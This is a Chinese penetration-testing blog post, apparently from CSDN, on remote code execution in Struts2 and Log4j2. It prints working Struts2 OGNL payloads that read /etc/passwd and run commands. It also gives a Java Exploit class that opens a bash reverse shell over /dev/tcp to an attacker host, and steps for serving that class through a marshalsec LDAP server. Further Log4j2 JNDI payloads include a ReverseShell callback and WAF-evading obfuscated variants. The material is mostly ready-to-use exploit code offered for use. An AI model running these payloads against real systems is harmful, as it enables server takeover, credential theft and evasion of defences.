框架漏洞RCE-2

一、Struts2

现阶段一般很少会用这个框架。

1、漏洞产生原因:struts2(除了S2-052以外),都是Struts2框架执行了恶意用户传进来的OGNL表达式(ongl表达式可以获取到运行变量的值,并且有机会执行函数调用),造成远程代码执行。

2、特征:URL地址以 “.action” “.do” 结尾或地址中包含“!”符号。能查看源码时,在应用的服务器上查看应用所在目录/WEB-INF/lib/下的jar文件,如果存在struts2-core-2.*.**.jar或xwork-core-2.*.**.jar格式的jar文件,检测是否存在Struts2漏洞。

3、工具:Liqun工具箱,struts2全版本漏洞检测工具

4、手工测试

(1)、bp抓包,更改请求方式,get--->POST

(2)、发送到重放模块

(3)、删除原有的content-type

(4)、将POC复制到最后,发送

#s2-061
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'cat /etc/passwd'}))
}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF—
常用POC
(%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess']=true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23_memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()))

(5)、查看返回包内容

5、靶场:vulnhub

二、log4j2漏洞

1、log4j2是利用jndi访问ldap协议,调取第三方服务

2、漏洞产生原因:由于Apache Log4j2某些功能存在递归解析功能,未经身份验证的攻击者通过发送特定恶意数据包,可在目标服务器上执行任意代码。

3、验证漏洞存在

(1)、使用bp插件判断

(2)、bp抓包,将包发送到重放模块,在请求包中输入POC发送。

POC:?payload=${jndi:ldap://p5pok7.dnslog.cn/exp}

  • p5pok7.dnslog.cn为dnslog网站生成的临时域名
  • dnslog网站:DNSLog Platform
  • 如果发包后,返回错误,需要将POC进行URL编码

查看dns网站是否解析域名。如果有说明可能存在log4j2漏洞。

4、漏洞复现方法a

Kali B 192.168.200.107(反弹shell)

  • 编辑exploit.Java文件,修改其中的IP地址与端口
    • IP地址为:反弹shell到这的机器,端口为监听端口
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class Exploit {
static {
try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/192.168.200.107/1234 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}
  • 使用jdk1.8中的javac.exe编译exploit.java文件
    • 命令:javac.exe  exploit.java
    • 会在目录下生成exploit.class文件
  • 将生成的exploit.class文件与tools目录打包放到kali B中

  • 在目录下打开http服务,让开启ldap服务端的工具marshalsec-0.0.3-SNAPSHOT-all.jar来访问这个文件

  • 使用工具,开启ldap服务端,并访问Exploit.class文件

  • 打开监听端口

  • 在bp抓包后使用POC来连接ldap服务器端的访问过来的Exploit.class文件,通过参数传递到目标服务器进行解析

  • 返回监听查看情况,反弹shell成功

5、漏洞复现方法2

  • 在kali B上输入命令:

  • 打开监听

  • 在BP上输入POC:
    • ${jndi:ldap://192.168.200.107:1389/Basic/ReverseShell/192.168.200.107/1234}

  • 返回监听机子,查看情况。反弹成功

6、WAF绕过

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://xxx.dnslog.cn/poc}

${jndi:rmi://xxx.dnslog.cn/poc}

${${lower:jndi}:${lower:rmi}://xxx.dnslog.cn/poc}

${${lower:${lower:jndi}}:${lower:rmi}://xxx.dnslog.cn/poc}

${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://xxx.dnslog.cn/poc}

  • 13
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值